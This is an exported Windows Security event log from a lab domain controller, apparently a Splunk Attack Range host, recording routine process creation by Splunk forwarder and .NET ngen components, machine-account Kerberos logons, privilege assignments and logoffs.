SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=254269
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x574
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:02:09 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=254268
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x11d8
	New Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1278
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 280 -InterruptEvent 0 -NGENProcess 278 -Pipe 268 -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:02:09 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=254267
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x1398
	New Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1278
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 2b8 -InterruptEvent 0 -NGENProcess 15c -Pipe 240 -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:02:09 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=254266
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xD802B

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/12/2021 12:02:09 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=254265
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xD813A

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/12/2021 12:02:09 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=254264
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xD8185

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/12/2021 12:02:09 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=254263
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Delegation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0xD8228
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{8B96C3B7-3DD4-8ED4-3B16-B24A60DA44C8}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	fe80::80c8:c9ac:2ea9:b5ba
	Source Port:		62440

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/12/2021 12:02:09 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=254262
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xD8228

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/12/2021 12:02:09 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=254261
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0xD8185
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{8B96C3B7-3DD4-8ED4-3B16-B24A60DA44C8}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	10.0.1.14
	Source Port:		62439

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/12/2021 12:02:09 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=254260
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xD8185

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/12/2021 12:02:09 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=254259
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0xD813A
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{8B96C3B7-3DD4-8ED4-3B16-B24A60DA44C8}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	::1
	Source Port:		0

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/12/2021 12:02:09 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=254258
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xD813A

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/12/2021 12:02:09 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=254257
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0xD802B
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{8B96C3B7-3DD4-8ED4-3B16-B24A60DA44C8}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	fe80::80c8:c9ac:2ea9:b5ba
	Source Port:		62438

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/12/2021 12:02:09 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=254256
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xD802B

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/12/2021 12:02:10 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=254270
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x10b4
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:02:11 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=254271
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x328
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:02:12 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=254272
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x5ec
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:02:13 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=254274
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xbcc
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:02:13 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=254273
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x102c
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe" --ps2

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:02:14 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=254275
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x1244
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:02:19 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=254277
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xD8228

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/12/2021 12:02:19 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=254276
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xea8
	New Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1278
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 284 -InterruptEvent 0 -NGENProcess 15c -Pipe 2bc -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:02:20 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=254280
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xcec
	New Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1278
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 280 -InterruptEvent 0 -NGENProcess 2b8 -Pipe 284 -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

